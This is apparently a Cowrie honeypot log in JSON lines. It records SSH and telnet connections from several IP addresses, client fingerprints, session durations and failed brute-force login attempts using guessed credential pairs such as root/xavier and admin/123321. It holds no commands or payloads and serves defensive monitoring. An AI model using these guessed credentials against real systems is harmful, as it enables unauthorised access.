{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":50060,"dst_ip":"10.17.0.5","dst_port":22,"session":"c36fb91cbc05","protocol":"ssh","message":"New connection: 165.154.5.173:50060 (10.17.0.5:22) [session: c36fb91cbc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:56.201431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:56.205595Z","src_ip":"165.154.5.173","session":"c36fb91cbc05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:56.420397Z","src_ip":"165.154.5.173","session":"c36fb91cbc05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":40236,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad1b4ad5f78d","protocol":"telnet","message":"New connection: 194.195.250.213:40236 (10.17.0.5:23) [session: ad1b4ad5f78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:57.253539Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123321","message":"login attempt [admin/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:57.303584Z","src_ip":"165.154.5.173","session":"c36fb91cbc05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:58.520264Z","src_ip":"165.154.5.173","session":"c36fb91cbc05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":35170,"dst_ip":"10.17.0.5","dst_port":23,"session":"9427096e0b01","protocol":"telnet","message":"New connection: 194.195.250.213:35170 (10.17.0.5:23) [session: 9427096e0b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:02.659119Z"}
{"eventid":"cowrie.session.closed","duration":35.36152935028076,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:03.042009Z","src_ip":"162.253.42.116","session":"1ea2fee6396a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59836,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa7e1a034395","protocol":"ssh","message":"New connection: 102.213.34.99:59836 (10.17.0.5:22) [session: aa7e1a034395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:07.958833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:07.963679Z","src_ip":"102.213.34.99","session":"aa7e1a034395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:08.140636Z","src_ip":"102.213.34.99","session":"aa7e1a034395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"zxcv1234","message":"login attempt [test/zxcv1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:08.853789Z","src_ip":"102.213.34.99","session":"aa7e1a034395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:10.026716Z","src_ip":"102.213.34.99","session":"aa7e1a034395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.34501123428345,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:10.638320Z","src_ip":"185.26.126.47","session":"dd0cd57d6ac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50822,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ac7293449a3","protocol":"ssh","message":"New connection: 159.203.92.129:50822 (159.203.135.109:22) [session: 0ac7293449a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:19.097166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:19.103524Z","src_ip":"159.203.92.129","session":"0ac7293449a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:19.110815Z","src_ip":"159.203.92.129","session":"0ac7293449a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anatoily","password":"123456","message":"login attempt [anatoily/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:19.122331Z","src_ip":"159.203.92.129","session":"0ac7293449a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:20.129103Z","src_ip":"159.203.92.129","session":"0ac7293449a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56096,"dst_ip":"159.203.135.109","dst_port":23,"session":"3df070baaca3","protocol":"telnet","message":"New connection: 185.26.126.47:56096 (159.203.135.109:23) [session: 3df070baaca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:21.748924Z"}
{"eventid":"cowrie.session.closed","duration":39.01008105278015,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:36.263490Z","src_ip":"194.195.250.213","session":"ad1b4ad5f78d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.41471982002258,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:41.073735Z","src_ip":"194.195.250.213","session":"9427096e0b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":47980,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf70746cd1bf","protocol":"ssh","message":"New connection: 103.180.212.135:47980 (159.203.135.109:22) [session: cf70746cd1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:45.008727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:45.013527Z","src_ip":"103.180.212.135","session":"cf70746cd1bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:45.204862Z","src_ip":"103.180.212.135","session":"cf70746cd1bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminserver","message":"login attempt [root/adminserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:46.002217Z","src_ip":"103.180.212.135","session":"cf70746cd1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:47.195775Z","src_ip":"103.180.212.135","session":"cf70746cd1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":47670,"dst_ip":"10.17.0.5","dst_port":22,"session":"767fec190b69","protocol":"ssh","message":"New connection: 165.154.5.173:47670 (10.17.0.5:22) [session: 767fec190b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:50.291087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:50.296126Z","src_ip":"165.154.5.173","session":"767fec190b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:50.518503Z","src_ip":"165.154.5.173","session":"767fec190b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xavier","message":"login attempt [root/xavier] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:51.439048Z","src_ip":"165.154.5.173","session":"767fec190b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:52.665829Z","src_ip":"165.154.5.173","session":"767fec190b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51954,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bae28e08d71","protocol":"telnet","message":"New connection: 185.26.126.47:51954 (159.203.135.109:23) [session: 9bae28e08d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:54.036022Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48230,"dst_ip":"159.203.135.109","dst_port":22,"session":"16b4d0d44eec","protocol":"ssh","message":"New connection: 159.203.92.129:48230 (159.203.135.109:22) [session: 16b4d0d44eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:59.590553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:59.594865Z","src_ip":"159.203.92.129","session":"16b4d0d44eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:59.599331Z","src_ip":"159.203.92.129","session":"16b4d0d44eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anatoily","password":"anatoily","message":"login attempt [anatoily/anatoily] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:59.610015Z","src_ip":"159.203.92.129","session":"16b4d0d44eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.8882622718811035,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:26:59.924189Z","src_ip":"185.26.126.47","session":"9bae28e08d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:00.616919Z","src_ip":"159.203.92.129","session":"16b4d0d44eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.064531564712524,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:00.813356Z","src_ip":"185.26.126.47","session":"3df070baaca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59904,"dst_ip":"10.17.0.5","dst_port":22,"session":"811b5290f19c","protocol":"ssh","message":"New connection: 102.213.34.99:59904 (10.17.0.5:22) [session: 811b5290f19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:07.280660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:07.285357Z","src_ip":"102.213.34.99","session":"811b5290f19c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:07.455345Z","src_ip":"102.213.34.99","session":"811b5290f19c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"1234","message":"login attempt [sftp/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:08.176916Z","src_ip":"102.213.34.99","session":"811b5290f19c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:09.347152Z","src_ip":"102.213.34.99","session":"811b5290f19c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":39180,"dst_ip":"159.203.135.109","dst_port":22,"session":"f161b5856366","protocol":"ssh","message":"New connection: 103.180.212.135:39180 (159.203.135.109:22) [session: f161b5856366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:40.989910Z"}
